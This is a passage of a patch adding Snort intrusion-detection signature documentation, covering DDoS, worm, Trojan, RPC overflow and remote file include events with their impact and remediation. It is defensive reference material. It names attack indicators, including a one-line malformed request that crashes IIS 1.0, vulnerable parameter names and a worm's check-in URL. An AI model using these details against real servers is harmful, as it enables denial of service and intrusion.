+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/223.txt
+++ snort-2.8.5.2/doc/signatures/223.txt
@@ -0,0 +1,70 @@
+Rule:
+--
+Sid:
+223
+
+--
+Summary:
+This event is generated when a pong packet for the Trinoo (aka trin00) 
+DDos suite is detected.
+
+--
+Impact:
+This may indicate a compromised system or be the prelude to a
+Distributed Denial of Service (DDoS) attack.
+
+--
+Detailed Information:
+Once a Trinoo client has been installed on a compromised machine and a master is
+ready and listening, the master sends a "png" (ping) command to its drones in 
+an attempt to enumerate the drone network. A functioning client will respond to 
+port 31335/udp with the text "PONG".
+
+Once a machine becomes part of a trin00 network, a Denial of Service (DoS) 
+is typically initiated against one (or more) victim machines.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of a large scale attack against a machine or a network, an
+attacker will compromise large numbers of machines which will form the
+army that the trin00 master daemon will command.  The master daemon
+typically instructs the clients to send mass-quantities of packets to
+a set of victim hosts.  If the traffic is sufficient, the victim
+machines will become resource deprived and thus endure a DoS condition.
+
+--
+Ease of Attack:
+Simple. Trinoo client and master programs are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disconnect infected machine(s) from the network immediately.
+
+Use software to determine if a host has been compromised using a
+rootkit.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+SANS:
+http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000226.txt
+++ snort-2.8.5.2/doc/signatures/100000226.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+100000226
+
+--
+Summary:
+This event is generated when a host connected to the Internet is first infected 
+with the BlackWorm/Nyxem virus.
+
+--
+Impact:
+The system generating the alert has likely been infected with the 
+BlackWorm/Nyxem virus.
+
+--
+Detailed Information:
+When a system is first infected with the BlackWorm/Nyxem virus, the malicious 
+program attempts to access 
+http://207.172.16.155/cgi-bin/Count.cgi?df=76547 in order to report a 
+successful installation. Numerous sources, including the Sourcefire VRT, have 
+confirmed that this URL is static.
+
+--
+Affected Systems:
+All Windows systems.
+
+--
+Attack Scenarios:
+The virus may arrive by e-mail, in which case a user must execute the file in 
+order to be infected. Once infected, hosts conduct NetBIOS scans and attempt to 
+infect other hosts via publicly accessible shares; in this method, no user 
+interaction is required.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Any user who directs a web browser to 
+http://207.172.16.155/cgi-bin/Count.cgi?df=76547 will trigger this rule.
+
+--
+False Negatives:
+Hosts without Internet access which become infected (i.e. by another infected 
+system on their local network) will not trigger this rule until they connect to 
+the Internet, as they will be unable toaccess this web page.
+
+--
+Corrective Action:
+Several antivirus vendors have detection and removal capabilities. 
+Additionally, Microsoft has detailed instructions for manual removal on their 
+web site.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matthew Watchinski <mwatchinski@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2167.txt
+++ snort-2.8.5.2/doc/signatures/2167.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2167
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2138.txt
+++ snort-2.8.5.2/doc/signatures/2138.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2138
+
+--
+Summary:
+This event is generated when an attempt is made to access a configuration file for the php application Web-ERP. 
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a configuration file for the php application Web-ERP.
+
+Versions of the web based accounting system Web-ERP do not sufficiently protect the application configuration files. This could lead to sensitive information being disclosed to an unauthorized user.
+
+This rule generates an event if a request is made for the configuration file "logicworks.ini".
+
+--
+Affected Systems:
+Web-ERP Web-ERP 0.1.4
+
+--
+Attack Scenarios:
+An attacker can gain access to the application configuration by making a simple web request. The attacker might then use the information in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+The event will also be generated if Nessus is used to scan the host for this vulnerability.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1877.txt
+++ snort-2.8.5.2/doc/signatures/1877.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1877
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000720.txt
+++ snort-2.8.5.2/doc/signatures/100000720.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000720
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "locations.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "locations.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1252.txt
+++ snort-2.8.5.2/doc/signatures/1252.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1252
+
+--
+Summary:
+This event is generated after a sucessful exploit of the BSD derived Telnet daemon.
+
+--
+Impact:
+Remote root access.  This may or may not indicate a successful root 
+compromise of a telnet server.
+
+--
+Detailed Information:
+This event is generated after a possible sucessful attempt to compromise
+a server running a BSD derived version of Telnet. A buffer overflow
+condition exists that may present an attacker with the opportunity to
+execute code of their choosing.
+
+The attacker does not need to login to the server to exploit this
+vulnerability, only a connection to the server is needed.
+
+--
+Affected Systems:
+	Multiple Vendor Telnet servers running versions of telnetd derived
+	from the BSD telnet daemon.
+
+--
+Attack Scenarios:
+An attacker may utilize one of the available exploit scripts.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are publicly available. This vulnerability may
+also be exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/266.txt
+++ snort-2.8.5.2/doc/signatures/266.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+266
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000132.txt
+++ snort-2.8.5.2/doc/signatures/100000132.txt
@@ -0,0 +1,70 @@
+Rule: 
+
+--
+Sid: 
+100000132
+
+-- 
+Summary: 
+This event is generated when a connection is made to the Internet via a proxy 
+server on your internal network. 
+
+-- 
+
+Impact: 
+If the server is not legitimate, anyone with access to it can use your 
+bandwidth to access the Internet; if users conduct malicious activity on the 
+Internet through this server, the activity will appear to have come from the 
+misconfigured machine.
+
+--
+Detailed Information:
+This rule looks for pieces of HTTP requests being made by a misconfigured 
+Squid, ISA, or NetCache proxy server. If it fires, and the machine the alert is 
+coming from is not a known proxy server, it indicates that the machine in 
+question is either improperly configured or has been compromised.
+
+False positives associated with this rule may be reduced considerably, or even 
+eliminated, by the use of a custom variable. By editing your snort.conf to 
+include "var KNOWN_PROXY_SERVERS = [<list of valid servers]" and modifying the 
+rule to read "alert tcp !$KNOWN_PROXY_SERVERS", all proxy activity associated 
+with these machines will be ignored.
+
+--
+Affected Systems:
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Enforce access restrictions if this is a legitimate proxy server that is being 
+abused; remove the server from machines on which there was no legitimate 
+installation, and search for other signs of system compromise.
+
+--
+Contributors: 
+Alexandru Ionica <gremlin@networked.ro>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/428.txt
+++ snort-2.8.5.2/doc/signatures/428.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+428
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Parameter Problem datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP datagrams should never contain undefined ICMP Codes.  This is normally an indication of nefarious activity occurring on the network.
+
+--
+
+Detailed Information:
+A router generates a Parameter Problem message for any error not specifically covered by another ICMP message.  This could be an indication of routing problems on the network, or malfunctioning routing hardware.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 12 datagrams with undefined ICMP Codes are not normal network activity.  Hosts generating these types of datagrams should be investigated for configuration errors or nefarious activity.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1828.txt
+++ snort-2.8.5.2/doc/signatures/1828.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1828
+
+--
+Summary:
+This event is generated when an attempt is made to use a known 
+vulnerability in the search functionality of certain web servers to view
+otherwise restricted files.
+
+--
+Impact:
+If successful, this attack will allow an attacker to view the contents 
+of any file on the server.
+
+--
+Detailed Information:
+The search engine in older versions of Netscape Enterprise Server and 
+its succesors uses HTML formatted pattern files to query users for 
+search paramters and return the results. The "NS-query-pat" command 
+allows clients to specify a pattern file other than the default. 
+Unfortunately, the search engine does not validate the filename 
+requested and allows clients to specify any file on the server, which is
+then displayed to the client.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.6 and earlier
+	iPlanet Web Server 4.1
+	iPlanet/Sun ONE Web Server 6.0 up to Service Pack 4
+	Netscape Enterprise Server 6.0
+
+--
+Attack Scenarios:
+An attacker could use this vulnerability to find user names and 
+passwords, SSL certificate files and related passwords, source code, or 
+just about any other information on the server.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the search engine or procure a patch from your web server vendor.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+CVE
+CAN-2002-1042
+
+--
--- snort-2.8.5.2.orig/doc/signatures/974.txt
+++ snort-2.8.5.2/doc/signatures/974.txt
@@ -0,0 +1,61 @@
+Comment - move to deleted rules - applies to IIS 1.0 and decode/inspect should now find this.
+Rule:
+
+
+--
+Sid:
+974
+
+--
+Summary:
+This event is generated when an attempt is made to peform a denial of service against Internet Information Service (IIS) 1.0 hosts. 
+
+--
+Impact:
+Denial of service.  This attack may cause an IIS 1.0 server to crash.
+
+--
+Detailed Information:
+IIS 1.0 servers are vulnerable to a denial of service attack when a malformed request containing "..\.." is sent to the server.  The service must be restarted to restore functionality.
+
+--
+Affected Systems:
+IIS 1.0 Servers
+
+--
+Attack Scenarios:
+An attacker can send a malformed request to a vulnerable IIS server to cause a denial of service. 
+
+--
+Ease of Attack:
+Simple.  Send a request similar to this:  GET ..\.. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0229
+
+Bugtraq:
+http://www.securityfocus.com/bid/2218
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3197.txt
+++ snort-2.8.5.2/doc/signatures/3197.txt
@@ -0,0 +1,84 @@
+Rule:
+
+--
+Sid:
+3197
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This event indicates that an attempt to exploit this vulnerability via
+the ISystemActivator component has been made.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3093.txt
+++ snort-2.8.5.2/doc/signatures/3093.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3093
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000853.txt
+++ snort-2.8.5.2/doc/signatures/100000853.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000853
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "IceWarp" application running on a webserver. Access to the file "settings.html" using a remote file being passed as the "language" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "language" parameter in the "settings.html" script used by the "IceWarp" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IceWarp
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/941.txt
+++ snort-2.8.5.2/doc/signatures/941.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+941
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/105.txt
+++ snort-2.8.5.2/doc/signatures/105.txt
@@ -0,0 +1,107 @@
+Rule:
+
+--
+Sid:
+105
+
+--
+Summary:
+Dagger is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the
+server to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	104	Dagger_1.4.0_client_connect (incoming TCP connection)
+	105	Dagger_1.4.0 (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\Run] 
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
+
+Registry keys added are:
+
+	"SysManager"="C:\\WINDOWS\\System\\Manager.exe"
+
+Removal of the file Manager.exe is required. Also end the process 
+Manager.exe.
+
+A machine reboot may be required to clear the existing process from 
+running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS484
+
+TLSecurity
+http://www.tlsecurity.net/backdoor/Dagger.1.4.html (link appears to be 
+inactive)
+
+Dark-e
+http://www.dark-e.com/archive/trojans/dagger/140/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3247.txt
+++ snort-2.8.5.2/doc/signatures/3247.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3247
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1732.txt
+++ snort-2.8.5.2/doc/signatures/1732.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1732
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rwalld is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rwalld is using.  Attackers can also learn what versions of the rwalld protocol are accepted by rwalld. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rwalld run.  The rwalld RPC service is used by UNIX hosts to send a message to current users on the host.  There is a format string vulnerability associated with rwalld error messages, allowing an attacker to execute abitrary code with the privileges of rwalld, possibly root. According to CERT, this is both a local and remote exploit, but the remote exploit is more difficult to perform.
+
+--
+Affected Systems:
+Sun Solaris 2.5.1, 2.6, 7, and 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rwalld runs.  This may be a precursor to an attack to exploit the rwalld format string vulnerability.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rwalld, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rwalld, not probes of the rwalld service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rwalld service itself. An attacker may attempt to go directly to the rwalld port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-10.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2171.txt
+++ snort-2.8.5.2/doc/signatures/2171.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2171
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
